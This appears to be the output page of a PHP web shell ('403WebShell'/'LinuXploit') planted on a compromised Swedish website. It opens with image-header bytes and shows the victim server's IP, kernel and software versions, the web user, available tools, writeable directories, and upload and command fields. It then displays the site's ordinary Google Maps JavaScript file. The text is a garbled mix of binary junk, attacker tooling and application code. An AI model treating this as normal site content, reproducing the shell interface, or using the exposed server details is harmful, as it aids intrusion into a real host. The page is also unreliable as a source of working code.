????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 13.59.50.189
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.astacus.se/karta/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.astacus.se/karta/js/script.js
	if (!Array.prototype.indexOf)
{
  Array.prototype.indexOf = function(elt /*, from*/)
  {
    var len = this.length;

    var from = Number(arguments[1]) || 0;
    from = (from < 0)
         ? Math.ceil(from)
         : Math.floor(from);
    if (from < 0)
      from += len;

    for (; from < len; from++)
    {
      if (from in this &&
          this[from] === elt)
        return from;
    }
    return -1;
  };
}


	var map;
	var geocoder;
	var infowindow = new google.maps.InfoWindow();
	var markers = [];
	
	var directionsDisplay = new google.maps.DirectionsRenderer();
	var directionsService = new google.maps.DirectionsService();
	
	
	var JSON_building = "";
	var JSON_management = "";
	
	
	
   function requestServerCall(url) {
      var head = document.head || document.getElementsByTagName("head")[0];
      var script = document.createElement("script");

      script.setAttribute("src", url);
      head.appendChild(script);
      head.removeChild(script);
    }


function jsonpCallback(data,variable) {
	
	 var v = variable + " = " + JSON.stringify(data);
	
			document.getElementById('right_menu_tab1').style.visibility = 'visible';
		
      //alert(v); // Response data from the server
	  eval(v);
	  
	  var x = 0;
	  for (data in JSON_building) {
		  if(JSON_building[x].Latitude != 0.0){
		  JSON_building[x].Latitude = JSON_building[x].Latitude/100000000;
		  JSON_building[x].Longitude = JSON_building[x].Longitude/100000000;
		  }
		  x++;
	  }
	  
	  
	 
    }
	

	
	var interval_id;
	var loaded = false;
	function downloadData(){
		
			document.getElementById('right_menu_tab1').style.visibility = 'hidden';
		if(JSON_management == ""){
			var variable = "JSON_building";
			var url = SERVER_URL+"Building?take=1000";
			requestServerCall(JSON_PROXY_URL+"?callback=jsonpCallback&url="+url+"&variable="+variable); 
			
			var variable = "JSON_management";
			var url = SERVER_URL+"Management?take=1000";
			requestServerCall(JSON_PROXY_URL+"?callback=jsonpCallback&url="+url+"&variable="+variable); 
			
			interval_id = setInterval(function(){checkIfDownloaded()},500);
		}
	}
	
	function checkIfDownloaded(){
		if(JSON_management != "" && JSON_building != ""){
			clearInterval(interval_id);
			initialize();
		}	
	}
	
	
	function initialize() {
		
		loaded = true;
		var start_position = new google.maps.LatLng(57.76755,14.19169);
		var mapOptions = {
		  zoom: 15,
		  mapTypeId: google.maps.MapTypeId.HYBRID,
		  center: start_position
		};
		map = new google.maps.Map(document.getElementById("map_canvas"),mapOptions);
		geocoder = new google.maps.Geocoder();
		directionsDisplay.setMap(map);
		
		
		drawManagementMenu();
		drawPurposesMenu();
		//drawCityMenu();
		
	}
	
	function addBuildingInMap(lat, long, icon, text){
		var pos = new google.maps.LatLng(lat,long);
		var marker = new google.maps.Marker({
        	map:map,
			draggable:false,
			animation: google.maps.Animation.DROP,
			position: pos,
			content: text
        });
        	  
		marker.setIcon(icon);
		markers.push(marker);
		google.maps.event.addListener(marker, 'click', showBuildingInfo);
	
  	}
	
	function showBuildingInfo(event) {
		var contentString = this.content;
		infowindow.setContent(contentString);
		infowindow.setPosition(event.latLng);
		infowindow.open(map);
	}
	
	
	
	function drawManagementMenu(){
		
		
		var x = 0;
		var y = 0;
		var table = "";
		var arr = []; //Used for not adding dublicates
		for (data in JSON_management) {
			if(JSON_management[x] != undefined){
				if(JSON_management[x].ID != null){
					if(arr.indexOf(JSON_building[x].Title) == -1){
						
						table += '<table width="300" border="0" cellspacing="0" cellpadding="0"><tr><td width="30" valign="middle"  align="left"><input name="management'+y+'" type="checkbox" id="management'+y+'"value="1"/></td><td width="270" valign="middle"  align="left"><div id="management_text'+y+'">'+JSON_management[x].ID+' '+JSON_management[x].Title+'</div></td><td width="30" valign="middle"  align="left"></td></tr></table>';
						
						arr.push(JSON_management[x].Title);	
						y++;
					}
				}
			}
			x++;
		}
		document.getElementById('Management').innerHTML = table;
	}

	
	
	function drawPurposesMenu(){
		
		var x = 0;
		var y = 0;
		var table = "";
		var arr = []; //Used for not adding dublicates
		for (data in JSON_building) {
			if(JSON_building[x] != undefined){
				if(JSON_building[x].PurposeGUID != null){
					if(arr.indexOf(JSON_building[x].PurposeGUID.Title) == -1){
						
						table += '<table width="300" border="0" cellspacing="0" cellpadding="0"><tr><td width="30" valign="left"  align="left"><input name="type'+y+'" type="checkbox" id="type'+y+'"value="1" checked="checked" /></td><td width="270" valign="left" align="left"><div id="type_text'+y+'">'+JSON_building[x].PurposeGUID.Title+'</div></td></tr></table>';
						
						arr.push(JSON_building[x].PurposeGUID.Title);	
						y++;
					}
				}
			}
			x++;
		}
		document.getElementById('Purpose').innerHTML = table;
	}
	
	
	function drawCityMenu(){
		
		
	
	
		
		var x = 0;
		var y = 0;
		var table = "";
		var arr = []; //Used for not adding dublicates
		for (data in JSON_building) {
			if(JSON_building[x] != undefined){
				if(JSON_building[x].City != null){
					if(arr.indexOf(JSON_building[x].City) == -1){
						
						table += '<table width="230" border="0" cellspacing="0" cellpadding="0"><tr><td width="45" valign="left"  align="left"><input name="city'+y+'" type="checkbox" id="city'+y+'"value="1"/></td><td width="185" valign="left"  align="left"><div id="city_text'+y+'">'+JSON_building[x].City+'</div></td></tr></table>';
						
						arr.push(JSON_building[x].City);	
						y++;
					}
				}
			}
			x++;
		}
		
		
			document.getElementById('City1').innerHTML = table;
		
		
	}
	
	function deleteAllMarkers() {      
		if (markers) {      
			var x = 0;
			for (i in markers) {     
				if(markers[x] != null){
					markers[x].setMap(null);
				}
				x++; 
			}  
		}  
		markers = []; 
	}
	
	function showBasedOnManagement(){ 
		deleteAllMarkers();
		var bounds = new google.maps.LatLngBounds();
		var city = [];
		for(var i = 0; i < 100; i++){
			if(document.getElementById('city'+i) != undefined){
				if(document.getElementById('city'+i).checked){
					city.push(document.getElementById('city_text'+i).innerHTML);	
				}
			}
		}
		
		var management = [];
		for(var i = 0; i < 100; i++){
			if(document.getElementById('management'+i) != undefined){
				if(document.getElementById('management'+i).checked){
					management.push(document.getElementById('management_text'+i).innerHTML.substr(0,3));	
				}
			}
		}
		
		// Find all buildings lat/long
		var x = 0;
		var lat = 0;
		var long = 0;
		var number = 0;
		for (data in JSON_building) {
			
			if(JSON_building[x] != undefined){
				if(JSON_building[x].ID != undefined){
					var ID = JSON_building[x].ID.substr(0,3);
					for (var j=0; j<management.length; j++) {
						if (management[j].match(ID)){
							if(JSON_building[x].Latitude != 0.0 && JSON_building[x].Longitude != 0.0){
								lat+= JSON_building[x].Latitude;
								
								long+= JSON_building[x].Longitude;
								number++;
							}
						}
					}
				}
			}
			x++;
		}
		lat = lat / number;
		long = long / number;
		//alert("Lat:"+lat+" Long:"+long);
		var icon = "http://lfkarttjanst-test.lj.se/icons/sjukhus.png";
		addBuildingInMap(''+lat+'',''+long+'',icon,'<b>Byggnad:</b>'); 
		var pos = new google.maps.LatLng(lat,long);
		bounds.extend(pos);
		
		x = 0;
		for (data in JSON_management) {
			if(JSON_management[x] != undefined){
					if(ShallShowManagement(JSON_management[x],city) == true){
						var icon = "http://lfkarttjanst-test.lj.se/icons/sjukhus.png";
						
						//addBuildingInMap(''+JSON_building[x].Latitude+'',''+JSON_building[x].Longitude+'',icon,'<b>Byggnad:</b> '+JSON_building[x].Title +" ("+JSON_building[x].ID+")<br><br><b>Verksamhet:</b> "+JSON_building[x].PurposeGUID.Title+"<br><br><b>Adress:</b> <br>"+JSON_building[x].VisitingAddress+"<br>"+JSON_building[x].PostCode+" "+JSON_building[x].City+"<br><br><b>Ägande:</b><br>"+Disposition+"<br><br><b>Ytor:</b><br>"+JSON_building[x].BTA+" kvm (BTA)<br>"+JSON_building[x].BRA+" kvm (BRA)<br>"+JSON_building[x].NTA+" kvm (NTA)<br><br><b>Byggnadsår: </b>"+JSON_building[x].ConstructionYear+" <br><br>"+"<a href=\"javascript:updatePosition('"+JSON_building[x].ID+"');\">Uppdatera position i Landlord</a><br><br><table width='300' border='0' cellspacing='0' cellpadding='0'><tr><td width='100'>Ange din adress:</td><td width='200'><input name='address' type='text' id='address' size='15' /><input type='button' name='button' id='button' value='Visa väg!' onclick='findRoute("+JSON_building[x].ID+");' /></td></tr></table>	"); 
							
								//var pos = new google.maps.LatLng(JSON_management[x].Latitude,JSON_management[x].Longitude);
								
								//bounds.extend(pos);
					}
			}
		}
		
			if(!bounds.isEmpty()){
			map.fitBounds(bounds);
		}
		
	}
	
	
	function showBasedOnPurposeAndManagement(){
		
		
		
		if(directionsDisplay != null) {
			directionsDisplay.setMap(null);
			directionsDisplay = null;
		}
			
		deleteAllMarkers();
		var bounds = new google.maps.LatLngBounds();
		var type = [];
		for(var i = 0; i < 100; i++){
			if(document.getElementById('type'+i) != undefined){
				if(document.getElementById('type'+i).checked){
					type.push(document.getElementById('type_text'+i).innerHTML);	
				}
			}
		}
		
		var management = [];
		for(var i = 0; i < 100; i++){
			if(document.getElementById('management'+i) != undefined){
				if(document.getElementById('management'+i).checked){
					management.push(document.getElementById('management_text'+i).innerHTML.substr(0,3));	
				}
			}
		}
		
		var placedManagementOnMap = [];
		
	
		
		
		var x = 0;
		for (data in JSON_building) {
			
			if(JSON_building[x] != undefined){
				if(JSON_building[x].PurposeGUID != null){
					
					if(type.length > 0){
						if(ShallShowBuilding(JSON_building[x],type,management) == true){
						
							var icon = "";
							if(JSON_building[x].PurposeGUID.Title == "Sjukhus"){
								icon = "http://lfkarttjanst-test.lj.se/icons/sjukhus.png";
							}else if(JSON_building[x].PurposeGUID.Title == "Tandvård"){
								icon = "http://lfkarttjanst-test.lj.se/icons/tand.png";
							}else if(JSON_building[x].PurposeGUID.Title == "Vårdcentral"){
								icon = "http://lfkarttjanst-test.lj.se/icons/vard.png";
							}else if(JSON_building[x].PurposeGUID.Title == "Produktion"){
								icon = "http://lfkarttjanst-test.lj.se/icons/prod.png";
							}else if(JSON_building[x].PurposeGUID.Title == "Familjecentral"){
								icon = "http://lfkarttjanst-test.lj.se/icons/fam.png";
							}else if(JSON_building[x].PurposeGUID.Title == "Bostad"){
								icon = "http://lfkarttjanst-test.lj.se/icons/bostad.png";
							}else if(JSON_building[x].PurposeGUID.Title == "Skola"){
								icon = "http://lfkarttjanst-test.lj.se/icons/skola.png";
							}else if(JSON_building[x].PurposeGUID.Title == "Administration"){
								icon = "http://lfkarttjanst-test.lj.se/icons/admin.png";
							}else{
								icon = "http://lfkarttjanst-test.lj.se/icons/unkown.png";
							}
							
							
							if(JSON_building[x].VisitingAddress != null){
								
								
								
								
									var Disposition = "Uppgift saknas";
									if(JSON_building[x].DispositionGUID != null){
										Disposition = JSON_building[x].DispositionGUID.Title;
									}
									
									var DispositionValue1 = document.getElementById('Disposition1').checked;
									var DispositionValue2 = document.getElementById('Disposition2').checked;
									var DispositionValue3 = document.getElementById('Disposition3').checked;
									
									var showBasedOnDisposition = false;
									if(DispositionValue1 == true ){
										showBasedOnDisposition = true;
									}else{
										if(DispositionValue2 == true && Disposition == "Egen"){
											showBasedOnDisposition = true;	
										}else if(DispositionValue3 == true && Disposition == "Inhyrd"){
											showBasedOnDisposition = true;	
										}
									}
									
						
									
									if(showBasedOnDisposition == true){
								
									//addBuildingInMap(''+JSON_building[x].Latitude+'',''+JSON_building[x].Longitude+'',icon,'<b>Byggnad:</b> '+JSON_building[x].Title +" ("+JSON_building[x].ID+")<br><br><b>Verksamhet:</b> "+JSON_building[x].PurposeGUID.Title+"<br><br><b>Adress:</b> <br>"+JSON_building[x].VisitingAddress+"<br>"+JSON_building[x].PostCode+" "+JSON_building[x].City+"<br><br><b>Ägande:</b><br>"+Disposition+"<br><br><b>Ytor:</b><br>"+JSON_building[x].BTA+" kvm (BTA)<br>"+JSON_building[x].BRA+" kvm (BRA)<br>"+JSON_building[x].NTA+" kvm (NTA)<br><br><b>Byggnadsår: </b>"+JSON_building[x].ConstructionYear+" <br><br>"+"<a href=\"javascript:updatePosition('"+JSON_building[x].ID+"');\">Uppdatera position i Landlord</a><br><br><table width='300' border='0' cellspacing='0' cellpadding='0'><tr><td width='100'>Ange din adress:</td><td width='200'><input name='address' type='text' id='address' size='15' /><input type='button' name='button' id='button' value='Visa väg!' onclick='findRoute("+JSON_building[x].ID+");' /></td></tr></table>	"); 
									
									addBuildingInMap(''+JSON_building[x].Latitude+'',''+JSON_building[x].Longitude+'',icon,'<b>Byggnad:</b> '+JSON_building[x].Title +" ("+JSON_building[x].ID+")<br><br><b>Verksamhet:</b> "+JSON_building[x].PurposeGUID.Title+"<br><br><b>Adress:</b> <br>"+JSON_building[x].VisitingAddress+"<br>"+JSON_building[x].PostCode+" "+JSON_building[x].City+"<br><br><b>Ägande:</b><br>"+Disposition+"<br><br><b>Ytor:</b><br>"+JSON_building[x].BTA+" kvm (BTA)<br>"+JSON_building[x].BRA+" kvm (BRA)<br>"+JSON_building[x].NTA+" kvm (NTA)<br><br><b>Byggnadsår: </b>"+JSON_building[x].ConstructionYear+" <br><br><br><table width='300' border='0' cellspacing='0' cellpadding='0'><tr><td width='100'>Ange din adress:</td><td width='200'><input name='address' type='text' id='address' size='15' /><input type='button' name='button' id='button' value='Visa väg!' onclick='findRoute("+JSON_building[x].ID+");' /></td></tr></table>	"); 
								
									var pos = new google.maps.LatLng(JSON_building[x].Latitude,JSON_building[x].Longitude);
									
									bounds.extend(pos);
								}
							}
							
						}
					}else{
						
						
						
						for (var j=0; j<management.length; j++) {
							
							var x = 0;
							var lat = 0;
							var long = 0;
							var number = 0;
							for (data in JSON_building) {
								
								if(JSON_building[x] != undefined){
									if(JSON_building[x].ID != undefined){
										var ID = JSON_building[x].ID.substr(0,3);
										
											if (management[j].match(ID)){
												if(JSON_building[x].Latitude != 0.0 && JSON_building[x].Longitude != 0.0){
													lat+= JSON_building[x].Latitude;
													long+= JSON_building[x].Longitude;
													number++;
												}
											}
									}
								}
								x++;
							}
							
							lat = lat / number;
							long = long / number;
							
											
							if(placedManagementOnMap.indexOf(management[j]) === -1){
									var html = "<b>Förvaltningsområde:</b>";
									var x = 0;
									for (data in JSON_management) {
										var ID = JSON_management[x].ID.substr(0,3);
										if(management[j].match(ID)){
											
											
											var Ownership = "Uppgift saknas";
											if(JSON_management[x].OwnershipGUID != null){
												Ownership = JSON_management[x].OwnershipGUID.Title;
											}
											
											var District = "Uppgift saknas";
											if(JSON_management[x].DistrictGUID != null){
												District = JSON_management[x].DistrictGUID.Title;
											}
											
											
											html+= JSON_management[x].Title + "("+JSON_management[x].ID+")";
											html+= "<br>Beskrivning: "+JSON_management[x].ManagementDescription;
											html+= "<br><br>Adress: "+JSON_management[x].VisitingAddress;
											html+= "<br>"+JSON_management[x].PostCode+" "+JSON_management[x].City;
											html+= "<br><br>Område: "+District;
											html+= "<br>Ägande: "+Ownership;
											html+= "<br><br>NTA: "+JSON_management[x].NTA + "<br>BTA: "+JSON_management[x].BTA +"<br>BRA: "+JSON_management[x].BRA; 
										}
										x++;
									}
									
									var icon = "http://lfkarttjanst-test.lj.se/icons/sjukhus.png";
									addBuildingInMap(''+lat+'',''+long+'',icon, html); 
									var pos = new google.maps.LatLng(lat,long);
									bounds.extend(pos);
								    placedManagementOnMap.push(management[j]);
						
								
							}
						}
						
					}
				}
			}
			x++;
		}
		if(!bounds.isEmpty()){
			map.fitBounds(bounds);
		}
	}
	
	function findRoute(ID){
		
		x = 0;
		var lat = 0;
		var long = 0;
		for (data in JSON_building) {
			if(JSON_building[x].ID == ID){
				lat = JSON_building[x].Latitude;
				long = JSON_building[x].Longitude;
		
			}	
			x++;
		}
		
		var start_position = new google.maps.LatLng(lat,long);
		
		var request = {
			origin:start_position,
			destination:document.getElementById('address').value,
			travelMode: google.maps.TravelMode.DRIVING
		};
		
		//alert(document.getElementById('address').value+":"+lat+":"+long);
		
		directionsService.route(request, function(result, status) {
			if (status == google.maps.DirectionsStatus.OK) {
				directionsDisplay.setDirections(result);
				//marker.setVisible(false);
			}
		});
		
		
			
	}
	
	
	function ShallShowManagement(_json, city){
		
		var city_found = false;
		
		if(city.length == 0){
			city_found = true;
		}
	
		var x = 0;
		for (c in city) {
			if(city[x] == _json.City){
				city_found = true;
			}
			x++;	
		}
		
		if(city_found == true ){
			return true;
		}else{
			return false;	
		}
	
	}
	
	function ShallShowBuilding(_json, type, management){
		
		var type_found = false;
		var management_found = false;
		
		if(type.length == 0){
			type_found = true;
		}
		
		if(management.length == 0){
			management_found = true;
		}
	
		
		var x = 0;
		for (t in type) {
			if(type[x] == _json.PurposeGUID.Title){
				type_found = true;
			}
			x++;	
		}
		
		var x = 0;
		for (m in management) {
			if(management[x] == _json.ID.substr(0,3)){ // _json.ID.substr(0,3) gives first 3 chars, 101A1 => 101
				management_found = true;
			}
			x++;	
		}
		
		if(type_found == true && management_found == true ){
			return true;
		}else{
			return false;	
		}
	
	}
	
	function searchBuilding(){
		document.getElementById('not_found').innerHTML = "";
		var text = document.getElementById('search').value;
		var x = 0;
		var found = 0;
		
		var bounds = new google.maps.LatLngBounds();

		for(m in markers){
			if(markers[x].content.toUpperCase().indexOf(text.toUpperCase()) >= 0){
				markers[x].setAnimation(google.maps.Animation.BOUNCE);	
				setTimeout("markers["+x+"].setAnimation(null)", 3400);
				bounds.extend(markers[x].position);
				found++;
			}	
			x++;
		}
	
		if(found == 0){
			document.getElementById('not_found').innerHTML = "Hittas inte!";	
		}else{
			map.fitBounds(bounds);
			document.getElementById('not_found').innerHTML = found + " träffar!";	
		}
	}

	function updatePosition(ID){
		
		
		var x = 0;
		var lat;
		var long;
		
		for(m in markers){
			if(markers[x].content.indexOf(ID) > 0){
				lat = markers[x].position.lat();
				long = markers[x].position.lng();
			}
			x++;
		}
		
		
		x = 0;
		var d = "";
		for (data in JSON_building) {
			if(JSON_building[x].ID == ID){
				JSON_building[x].Latitude = lat;
				JSON_building[x].Longitude = long;
				d = JSON.stringify(JSON_building[x]);
			}	
			x++;
		}
		
		//alert(d);
		
		var ajax = getRequest();
		var s = "http://jonkoping.test.5d.se/api/v1/building/action/save/?data="+d;
		ajax.open("GET", s, true);
 		ajax.send(null);
		
		alert("Koordinaterna har uppdaterats, det kan ta upp till 24h innan ändringen slår igenom live");
	}
	
	function getRequest() {
		var req = false;
		try{
			// most browsers
			req = new XMLHttpRequest();
		} catch (e){
			// IE
			try{
				req = new ActiveXObject("Msxml2.XMLHTTP");
			} catch (e) {
				// try an older version
				try{
					req = new ActiveXObject("Microsoft.XMLHTTP");
				} catch (e){
					return false;
				}
			}
		}
		return req;
	}

Youez - 2016 - github.com/yon3zu
LinuXploit